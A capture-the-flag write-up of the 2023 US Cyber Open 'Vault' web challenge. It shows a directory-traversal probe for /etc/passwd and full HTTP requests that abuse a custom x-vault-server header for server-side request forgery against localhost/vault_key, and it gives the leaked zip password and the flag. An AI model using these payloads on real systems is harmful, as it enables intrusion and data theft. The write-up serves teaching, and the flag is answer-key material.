This is a web challenge from the 2023 US Cyber Open. I don’t typically do web writeups but it’s a welcome change plus this challenge was a neat one. Although it is on the simpler side, I still enjoyed it, especially as a web noob.

Vault

Description

Vagabond Vault is the newest place where hackers can post their stolen data and other illicit downloads. They seem to be using some sort of distributed setup that allows them to quickly recover when a frontend server is taken down. See what you can do to uncover the secrets behind this nefarious site!

Solution

Problem Analysis

Here is the initial view of the website:

The first and most obvious thing to do is to download the zip files they have on the front page. After doing so we find that they are password protected zip files. My initial thought was to use a tool like zip2john to extract the password hash and attempt to crack it by bruteforce. Then I remembered that this is a web challenge and that wouldn’t really fit. I decided to quickly start cracking one of the zips in the background using John The Ripper just in case. At this point it was obvious that I needed to dig a little deeper so I started with the website source code. Skimming through the most intriguing bit is the javascript running on the page.

$(document).ready(function(){
	$(".download").click(function(e){
		e.preventDefault();
		fetch('/download',{method:"POST",
						   headers:{"x-vault-server":"backend.vault.uscg:9999/download"},
						   body:JSON.stringify({filename:$(this).data("filename")})})
		.then(resp => {
			if(!resp.ok)
			{
				alert("Sorry, an error occurred while fetching your download.");
				throw new Error("HTTP status " + response.status);
			}
			return resp.blob();
		})
		.then(blob => {
			const url = window.URL.createObjectURL(blob);
			$("#tmp_a").attr("href",url);
			$("#tmp_a").attr("download",$(this).data("filename"));
			$("#tmp_a")[0].click()
			window.URL.revokeObjectURL(url);
		})
		.catch((e) => console.log(e));
	});
});

I started bowsing this code snippet. The most important part is that it shows how the zip file is downloaded from the server. When we click the download button, javascript will use fetch() to send a POST request to backend.vault.uscg:9999/download. In the body of request is some JSON data with the filename to download. This gives us a good starting point for our testing. For this kind of thing, I use BurpSuite, which allows us to see not only exactly what is being sent and recieved to a server, but also gives us much greater control over what we send to the server. An important thing to keep in mind is that we can send whatever we want to the server, even if we can’t do it from the website directly. With that said we can start by using BurpSuite’s built-in browser to look at a download request. From there we can send a request to the BurpSuite repeater and play around. Here is the captured traffic for the download request. On the left is the request sent to the server where we see the JSON data with the filename to download and on the right is the raw bytes of the requested file. If we right click on the POST request, we can then click “send to repeater”. This will put the request in the repeater tab for us to edit. Now we can make whatever changes we want and send it to the server to see the response. My first instinct was to do some kind of directory traversal with the filename where we could put something like ../../../../etc/passwd and the server would just let us download arbitrary files. I tried absolute paths and some filter bypass stuff but after fuzzing it for a few minutes I decided to switch gears. That’s when I noticed the non-standard HTTP header x-vault-server. I don’t know how I didn’t notice it in the fetch() request but the name suggests that it defines where the server is attempting to get the files to download. I spun up a python http server using python3 -m http.server 9001 and exposed it publically using ngrok http 9001. Then I put the ngrok address as the x-vault-server header. Sure enough a GET request shows up on our server from the ctf challenge address. This is type of bug called serverside request forgery (SSRF), and it allows us to get the server to make a request to an attacker controlled target. At this point I was pretty stuck. I couldn’t figure out what request could help me get a password for the zip files that had the flag in them. Then I took a break and when I came back I tried something that I should’ve done when I first started the challenge. I checked robots.txt. Here is the result:

User-agent: *
Disallow: /vault_key

There is a directory on the website called vault_key. Sounds kind of important, so I decided to check it out.

Ok so somehow the website is denying typical users permission to view this part of the website. Having seen this with our previous knowledge of the SSRF bug, I had a roadmap for victory. First I needed to use the SSRF bug to trick the website into visiting the vault_key directory for us, assuming it would have the proper permissions. Then we could hopefully use whatever is on the censored webpage to unlock the zip files and get the flag.

Step 1

So first I sent a request like this.

POST /download HTTP/1.1
Host: 0.0.0.0:1337
Content-Length: 24
x-vault-server: 0.0.0.0:1337/vault_key
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://0.0.0.0:1337
Referer: http://0.0.0.0:1337/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"filename":"leakz.zip"}

I’m running the challenge locally which is why the host is 0.0.0.0:1337 but during the ctf this was the website. Unfortuneately this results in a 500 internal service error from the server. Another small roadblock but after thinking about what’s actually happening here helps alot. The server, which is currently running the website, is going to be making the request to whatever x-vault-server is set to. From the server’s point of view, the website isn’t some ip address out on the web, it is localhost. Correcting for this we get this payload:

POST /download HTTP/1.1
Host: 0.0.0.0:1337
Content-Length: 24
x-vault-server: localhost/vault_key
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://0.0.0.0:1337
Referer: http://0.0.0.0:1337/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"filename":"leakz.zip"}

Sure enough this results in a response from the server which is shows us what is on the vault_key part of the website.

HTTP/1.1 200 OK
Server: gunicorn
Date: Thu, 20 Jul 2023 05:14:04 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 39

Current Vault Password: liiJzuICLxAZqfb

Step 2

I figured this was the password to the zip files and if we run unzip leakz.zip and provide the vault password stolen from the server as the password, the flag.txt file extracts. Then running cat flag.txt we get our flag!

Flag

USCG{sn3ak1ng_1n_th3_8ack}